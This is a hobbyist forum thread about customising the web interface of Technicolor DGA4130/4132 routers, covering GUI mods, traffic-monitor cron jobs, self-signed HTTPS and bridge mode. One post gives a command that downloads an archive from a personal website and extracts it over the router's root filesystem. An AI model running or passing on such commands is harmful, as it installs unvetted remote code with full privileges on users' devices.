who added the TIM Skin in the selector ? you or is it a new GUI update from ansuel ?

Edit:
ho i have it as "TIM enhanced" in my GUI...so ansuel updated his gui.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on March 15, 2018, 02:24:59 PM
@Ivymike
who added the TIM Skin in the selector ? you or is it a new GUI update from ansuel ?

Edit:
ho i have it as "TIM enhanced" in my GUI...so ansuel updated his gui.
Yep :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 15, 2018, 02:48:02 PM
@Ivymike
who added the TIM Skin in the selector ? you or is it a new GUI update from ansuel ?

Edit:
ho i have it as "TIM enhanced" in my GUI...so ansuel updated his gui.

It was a my mod but after i saw that Ansuel made the same thing
my GUI looks different by Ansuel'gui... and i'm waiting always separated scheduling ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 06:37:17 PM
@shdf ...

Could you be so kind as to tell me where these two elements come from? It's not pictures, it must be css code, I think.

(https://i.imgur.com/2Nyd57V.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 06:50:06 PM
it's from the fontawesome : fa fa-exchange and fa fa-download
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 07:07:58 PM
Thank you.

It doesn't show up with me.
Although I added font-awesome.css, font-awesome.min.css and 009_diagnostics.lp. Test with Firefox, Chrome and MS Edge (cache cleared).

 :o
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 07:24:07 PM
lol, no, it's inside the diagnostic card  ;D search these strings.

<i class="smallsomeInfos fa fa-exchange"

<i class="smallsomeInfos fa fa-download"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 07:37:10 PM
Thank you.

It doesn't show up with me.
Although I added font-awesome.css, font-awesome.min.css and 009_diagnostics.lp. Test with Firefox, Chrome and MS Edge (cache cleared).

 :o

But I wrote, I also added 009_diagnostics.lp (from your patch folder).

 ??? ??? ???
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 07:47:41 PM
excuse me but i don't understand what you are trying to do ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 07:57:08 PM
The two encircled elements are missing in my Diagnostics tile, although I inserted your css files and 009_diagnostics.lp.

(https://i.imgur.com/2Nyd57V.png)

 :(
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 08:10:21 PM
take the Ansuel GUI, there is a /www/docroot/fonts/ folder with the fonts files inside.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 08:14:07 PM
Thank you! That was the decisive clue!  ;D

 :)

 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 16, 2018, 11:38:02 AM
Little problem with card "Stato Gui", doesn't open relative modals

(https://s14.postimg.org/v8d9h6kqp/Senza_titolo-1.png)

fixed broadband option and traffic modal

(https://s14.postimg.org/k8s25ohht/Senza_titolo-3.png)


(https://s14.postimg.org/q9pr2rbtt/Senza_titolo-4.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 16, 2018, 01:57:24 PM
very useful !!  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 16, 2018, 03:43:46 PM
very useful !!  ;D
>:(
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 16, 2018, 03:52:36 PM
once again, you fix something, no explanation, nothing. so your post is useless to anyone here, why come here to say "i fixed a problem" without saying HOW ?? we don't even understand what you "fixed".
is it just because you're happy to post your pictures ?? sorry i don't get it
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 16, 2018, 04:07:56 PM
once again, you fix something, no explanation, nothing. so your post is useless to anyone here, why come here to say "i fixed a problem" without saying HOW ?? we don't even understand what you "fixed".
is it just because you're happy to post your pictures ?? sorry i don't get it

@shdf I just told you that it's the second time you tell me these things and you don't know that I sent my mod to Ansuel few days ago. the administrators of ilpuntotecnicoeadsl banned me without reason, while I was helping and learning, on hwupgrade they told me that I was spamming because I put a link to my site ... you say these things. Maybe my little fixes doesn't interesting nobody
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 16, 2018, 04:25:32 PM
Quote
Maybe my little fixes doesn't interesting nobody

I'm sure it would be appreciated by others if you share your workings.
Not everyone will be using Ansuel's GUI, or he may not implement everything he receives.

You don't have to share anything of course  :) I'm sure you've used other users fixes, it's nice to be nice
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 16, 2018, 04:50:52 PM
@shdf I just told you that it's the second time you tell me these things and you don't know that I sent my mod to Ansuel few days ago. the administrators of ilpuntotecnicoeadsl banned me without reason, while I was helping and learning, on hwupgrade they told me that I was spamming because I put a link to my site ... you say these things. Maybe my little fixes doesn't interesting nobody
what is the relationship with what I just told you ? do you even understand what i said ?
you come here saying "I FIXED SOMETHING", but you don't SAY WHAT and HOW ! you just say "I FIXED". which is ABSOLUTLY USELESS for everyone here.
in all forums where I see you, you spend your time posting screenshots of your GUI without ever explaining anything to anyone.

added in my ignore list.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 16, 2018, 05:10:10 PM
added in my ignore list.
good... thank you
 
i'm not so stupid ignoring people... but respect everyone and i demand respect.
you instead added in your ignore list... i didn't make something to being added in ignore list... very compliment

well... not even a child 2 years ago like that
boh!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63
Post by: Westie on March 16, 2018, 11:38:22 PM
@Ivymike,

As far as I am aware,  "The aim of [this forum] is to impart knowledge to the general public ..."

I believe that English may not be your first language, and I appreciate your efforts in communicating in what is probably, to you, a "foreign" language. I am also grateful for the work done by many of the non-UK community in finding devices like the DGA4130/4132 and unlocking their usability for non-techies like myself.

However, I cannot understand your Reply#925 at all, since almost everything is in Italian. I do not know what you have achieved, and even if I could understand Italian you have not helped me know how to achieve the same result myself. I am happy that you have achieved a positive result for yourself, but the way you are reporting your success comes across (at least to me) as gloating rather than helpful, even though that is probably not your intention.

I'm sorry if I sound like a grumpy old man...I probably shouldn't post after driving 350 miles to look at houses! 

Time for bed!  :oldman::sleep:

George
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 17, 2018, 08:36:02 AM
Thank you for your post.

I really appreciate if someone speaks in a civil and respectful manner, in post #907 I had highlighted what I had improved. I'm not a technician like you, I'm annoyed who speaks as shdf because he knows 1000 things more than me and also he sometimes posted .tar file to install without giving explanations of the changes, but he criticize me without knowing how things are in reality. He doesn't know that I have already given my changes to Ansuel, another user who works on the GUI but has not yet decided to put them into my beliefs. This is not my job, it has become a hobby for me for a few months. If shdf knows so much instead of adding me to his list, he could understand or ask if he was interested, as do all those I have helped. This bothers me

If i could to do a .tar archive with my fix, i would post it immediately for all users
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 17, 2018, 01:30:29 PM
It would be nice if we could get back to the subject at hand.  :)

To be honest, I don't even know which tile the traffic monitor is in right now (since I'm running on TIM GUI).

But... I think I'd like to add ...

@shdf ...

Could you tell me exactly which files I need for this? Of course, only if you know this would be very nice (Ansuels GUI is out of the question for me).

@Ivymike ...

What exactly did you fix?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 17, 2018, 02:33:55 PM
necessary files to install the trafficmon are here : https://repository.ilpuntotecnicoeadsl.com/index.php?dir=Ansuel/AGTEF/modular/&file=traffic_mon.tar.bz2
so download this and install it.

and you have to add this in /etc/contabs/root
Code: [Select]
*/10 * * * * /sbin/trafficmon.lua
*/3 * * * * /sbin/trafficdata.lua

That is already added in the TIM unlocked GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 17, 2018, 02:43:19 PM
Once again... sincere THANK YOU!

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 17, 2018, 03:17:57 PM
i didn't ever touched trafficmon.lua and trafficdata.lua, i copies every time my files in /www and few in /etc/config

but as long as I cannot create an archive that can be extracted like those of Ansuel or shdf I don't know how else to do. I could give you a .rar that you can extract and then put it with WinSCP
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 17, 2018, 03:23:51 PM
@shdf ...

The file root in /etc/contabs/ is not available.
So I recreate it with your content, which chmod permission has the root file?

And, the device has to be restarted afterwards (I would like to avoid this) or is /etc/init.d/nginx restart enough?

@Ivymike ...

Yes, make changed files available as rar or zip then i can view the code.

But... which bug did you fix exactly?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 17, 2018, 03:53:54 PM
@shdf ...

The file root in /etc/contabs/ is not available.
So I recreate it with your content, which chmod permission has the root file?

And, the device has to be restarted afterwards (I would like to avoid this) or is /etc/init.d/nginx restart enough?

@Ivymike ...

Yes, make changed files available as rar or zip then i can view the code.

But... which bug did you fix exactly?

 :)

Let's say i made some adjustment, personalization call it how you prefer.

you can see that i have my card horizontal for full vision, advanced configuration are always showed, changed file mobile.css for fix signal mobile bar in cards, fixed traffic-monitor visualization, mod card broadband to show braodband connection type, and card Internet to show "WAN Sensing L3: L3UpSense", changed timhub icon and icons in "Diagnostic" also changed rc.local to have 80-85Mbps in downloading
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 17, 2018, 05:22:20 PM
chmod 755 is enough for that file.
no need to restart anything...you don't have the trafficmon modals in your gui ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 17, 2018, 05:50:50 PM
These three modal (device-modal, hostmap-modal and wifi-nurse-modal) files must also be updated.


This code is missing in my existing modal:
      
            desc = T"Traffic Monitor",
            target = "modals/traffic-monitor.lp",
       
   
And of course I also add the traffic-monitor (missing for me, (TIM GUI)).

For those who are interested, here is the complete package again: https://ufile.io/a7vki (https://ufile.io/a7vki)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 17, 2018, 06:01:59 PM
i guess everyone is using the Ansuel GUI or the TIM unlocked, so they are already up to date with that  ;D i don't understand why you didn't have it already  :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 17, 2018, 08:10:11 PM
@eclp
maybe you are interested in that trick to only use only 1 cable to access both your router and your DGA4130/DGA4132 in bridge mode.
https://forum.lede-project.org/t/solved-how-to-access-the-modem-which-is-in-bridge-mode/6773/11
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 17, 2018, 08:35:48 PM
Thank you... but I've known that trick a long time.  ;D

I've never had a two-cable solution ...

https://github.com/RMerl/asuswrt-merlin/wiki/Access-modem-Web-UI-on-WAN-port-%28no-script%29 (https://github.com/RMerl/asuswrt-merlin/wiki/Access-modem-Web-UI-on-WAN-port-%28no-script%29)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 18, 2018, 02:20:50 PM
back to this thread, I saw that Ansuel have updated its GUI.

Now I have TIM unlocked GUI from shdf at beginning of March.
May I untar Ansuel GUI (http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.gz2) on my DGA4132 where I have installed TIM Unlocked GUI (www.dga4132.tk)?

Now is Ansuel GUI compatible with both DGA-4130 and DGA-4132 router?

Thank you
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 18, 2018, 03:27:28 PM
yes !  :) you can install his GUI. you can apply my patch over his GUI if you want the Cpuload/uptime/wansensing information in the cards.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 20, 2018, 03:22:56 PM
i just found that the Technicolor TG800vac which is very close to the DGA4130/DGA4132 is a G.FAST certified product:
https://www.broadband-forum.org/implementation/interop-certification/gfast-certified-products
it was tested with the dsl driver : A2pvfbH043i.d26q
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 20, 2018, 04:29:35 PM
Definitely very interesting! Just where can you buy the device except in Australia?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 20, 2018, 04:47:44 PM
nowhere as it is built for telstra like the dga4130 is built for TIM...
i'm wondering if this is not just based on a licence to "enable" that g.fast feature in the modem that the ISP would pay...or maybe the adsl-phy.bin has some extra code implemented ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 20, 2018, 07:42:22 PM
@shdf ...

Interesting question. I'm trying to get to the bottom of these things. A suitable forum is known to me.

Something else:
Do you know what to do to take HTTPS access for Tim without upgrading to Ansuel GUI?

:)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 20, 2018, 08:19:45 PM
i watched into that already, when i watch the nginx configuration, from my understanding, we should see the GUI when we use https, but it shows a 404 error, which mean it points to a place where there is no index page...i don't understand...

Edit:
in nginx.conf, replace this :
Code: [Select]
    init_worker_by_lua '
        local sessioncontrol = require("web.sessioncontrol")
        sessioncontrol.setManagerForPort("default", "80")
        sessioncontrol.setManagerForPort("assistance", "443")
    ';

with this :
Code: [Select]
    init_worker_by_lua '
        local sessioncontrol = require("web.sessioncontrol")
        sessioncontrol.setManagerForPort("default", "80")
        sessioncontrol.setManagerForPort("default", "443")
    ';

restart nginx and now it should work, except that the certificat is obviously not valid, but anyway the data between your browser and the DGA are encrypted :

(https://i.imgur.com/WlYFBHt.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 20, 2018, 09:07:52 PM
Thank you very much, I will try https.

I noticed this JavaScript error, which affects the performance of WEBui. If you call the console (MS Edge, Chrome or Firefox Quantum) and use the tile management.

[Deprecation] Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user's experience. For more help. check https://xhr.spec.whatwg.org/.

main-min.js
line: 3881:20

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 20, 2018, 09:28:48 PM
@eclp like in other forum, i put online my personalized GUI. you have to install it over Ansuel's GUI

(https://s10.postimg.org/placlilyx/Senza_titolo-1.png)

use this command:

Code: [Select]
wget -P /tmp https://filippoputinati.weebly.com/uploads/4/0/2/2/4022342/dga413x_ivy_6.6.2.tar.gz && tar -zxvf /tmp/dga413x_ivy_6.6.2.tar.gz -C /
Changelog:
Horizontal cards view
[Mod] card "Gateway"
[Mod] modem icon and "Upgrade Available" bottom
[Mod] card "Broadband"
[Mod] card modal "Broadband"
[Mod] card "Internet Access"
[Mod] card modal "Internet Access"
Fix subcard "Traffic Monitor" under "Device Connected"
[Mod] card "Gui State" and its subcard
[Mod] black icon in card "Diagnostics"
Fix signal icon in card "Mobile"
[Mod] card "Configuration xDSL"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 20, 2018, 09:43:26 PM
ok, got it, at least with internet explorer it works fine, Chrome needs extra info in the certificate.

(https://i.imgur.com/b2sV3ru.png)

here is how i did  it :

first of all, you need to know your dga4130 hostname, by default if you didn't change it, it should be modemtim, so check if you can do a ping modemtim to verify.  if you have a particular configuration then just configure your dns to point to your modem IP when using the domain name "modemtim". you can also edit your HOST file in your PC.

Now from putty with opkg, you have to install openssl, i think it was installed on my modem with the Ansuel GUI.
once installed, type this :
Quote
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout nginx-selfsigned.key -out nginx-selfsigned.crt -subj '/CN=modemtim'
this will generate the 2 files :
nginx-selfsigned.key
nginx-selfsigned.crt

move then in the /etc/nginx/ folder

now edit nginx.conf and add the new values in bold :

Quote
sessioncontrol.setManagerForPort("default", "443")

Quote
        ssl_certificate /etc/nginx/nginx-selfsigned.crt;
        ssl_certificate_key /etc/nginx/nginx-selfsigned.key;

once done, restart nginx. /etc/init.d/nginx restart

now you have to start Internet explorer as administrator, this is important.
once done go to https://modemtim

now it is too long to give details... but what you have to do is to display the certificate  details by clicking the "padlock" in internet explorer, then click to install the certificate, choose to add it in the TRUSTED ROOT CERTIFICATE AUTHORITY. Once done close internet explorer and open it normaly, go to https://modemtim and now there is no errors.

Now if you watch your certificate, it should look like this :
(https://i.imgur.com/TMyQPbB.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 20, 2018, 10:01:51 PM
Wow... Thank you!

I haven't changed the hostname, but I can't ping. Timeout.
But I can ping the IP. Is this possibly due to the single-cable solution?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 20, 2018, 10:13:46 PM
in your asus router dns, can't you create a dns entry pointing to your DGA ip address with the hostname modemtim or what ever you want ?
if not then just edit your HOST file in your PC.

Your PC must see that the hostname in your certificate match the hostname of the modem. there is at least 2 possibilities for that :
use a dns that says : modemtim = 192.168.1.1
add in your HOST file : 192.168.1.1    modemtim
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 21, 2018, 09:42:25 AM
Thank you again for the detailed instructions! :)

However, I want to be able to call all connected clients (and not just the PC) the modem via https://modemtim. I'll give you a response tonight.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 21, 2018, 11:16:59 AM
Then you have to find where in your asus modem you can associate the hostname to the ip. if you can't do that simple thing in your asus router then better throw it out the window :'( or just use it as a wifi AP connected to the modem.  ;D

From my point of view, accessing something in your own local network by https is useless/paranoid. These are unnecessary complications.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 22, 2018, 01:48:02 PM
Very frustrating, despite customized host file on the Asus no access via hostname to the modem.  :-\

Code: [Select]
C:\Windows\system32>nslookup modemtim
Server:  xxxxxxxxxxx
Address:  2003:xxxxxxxxxxx

Name:    modemtim
Address:  192.168.0.1

🙂



Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 22, 2018, 05:37:37 PM
if i understand well, from your PC this works :
https://192.168.0.1 (https://192.168.0.1)

and this is not working ?
https://modemtim

i mean it doesn't find your modem web page ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 22, 2018, 08:22:32 PM
There, done. The call via http://modemtim finally works.  :)

New problem, openssl cannot be installed.
I tried these instructions: https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77856.0.html (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77856.0.html)  :'(

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 22, 2018, 10:14:27 PM
There, I got it right. But after that, I only get :

https://modemtim

404 Not Found
nginx

 ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on March 22, 2018, 10:18:13 PM
does someone manage to convert the wan port to a lan port?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 23, 2018, 06:50:38 AM
on DGA4132 wansensing is doing it automatically i think.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 24, 2018, 09:18:35 AM

I noticed this JavaScript error, which affects the performance of WEBui. If you call the console (MS Edge, Chrome or Firefox Quantum) and use the tile management.

[Deprecation] Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user's experience. For more help. check https://xhr.spec.whatwg.org/.

main-min.js
line: 3881:20


Problem solved. (fixes synchronous XMLHttpRequests in javascript)

For those interested, edit the file main-min.js. (www/docroot/js) Line 3881.

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m.open(b.type, b.url, b.async, b.username, b.password);

Proper code:
Quote
m.open(b.type, b.url, b.async || true, b.username, b.password);

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 24, 2018, 09:48:09 AM
Thanks !  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: highpriest on March 24, 2018, 12:04:52 PM
Is anyone using the DGA4130/4132 successfully in bridge mode here in the UK? How well does it perform?

Apologies if it has been mentioned earlier in this thread.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 24, 2018, 12:51:57 PM
Is anyone using the DGA4130/4132 successfully in bridge mode here in the UK? How well does it perform?

Apologies if it has been mentioned earlier in this thread.

It didn't work from the WebUI.
I had to manually edit the config to get bridge mode working.
If my router lost the PPP session then it could not reestablish it with bridge mode. I basically had to sync with another modem, get a PPP session, then swap modem quickly (quick enough the PPP doesn't drop).

It synced a little lower than my ZyXEL VMG1312-B10A
It synced about the same as my ZyXEL VMG8924-B10A.

It's overkill as a bridge modem. The CPU is wasted.

It relies entirely on development being done on an Italian forum, which then trickles to this thread.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on March 24, 2018, 01:02:13 PM
Bridge mode set the ptm to the telecom default vlanid so you need to edit that in the config... After the reboot it should work

Inviato dal mio SM-G950F utilizzando Tapatalk

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 24, 2018, 02:26:26 PM
How to activate gzip?

Once I add these lines to my nginx.conf I don't get access to the GUI (Tim) anymore.

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gzip             on;
gzip_comp_level  5;
gzip_min_length  1000;
gzip_proxied     expired no-cache no-store private auth;
gzip_types       application/javascript
application/rss+xml
application/vnd.ms-fontobject
application/x-font
application/x-font-opentype
application/x-font-otf
application/x-font-truetype
application/x-font-ttf
application/x-javascript
application/xhtml+xml
application/xml
font/opentype
font/otf
font/ttf
image/svg+xml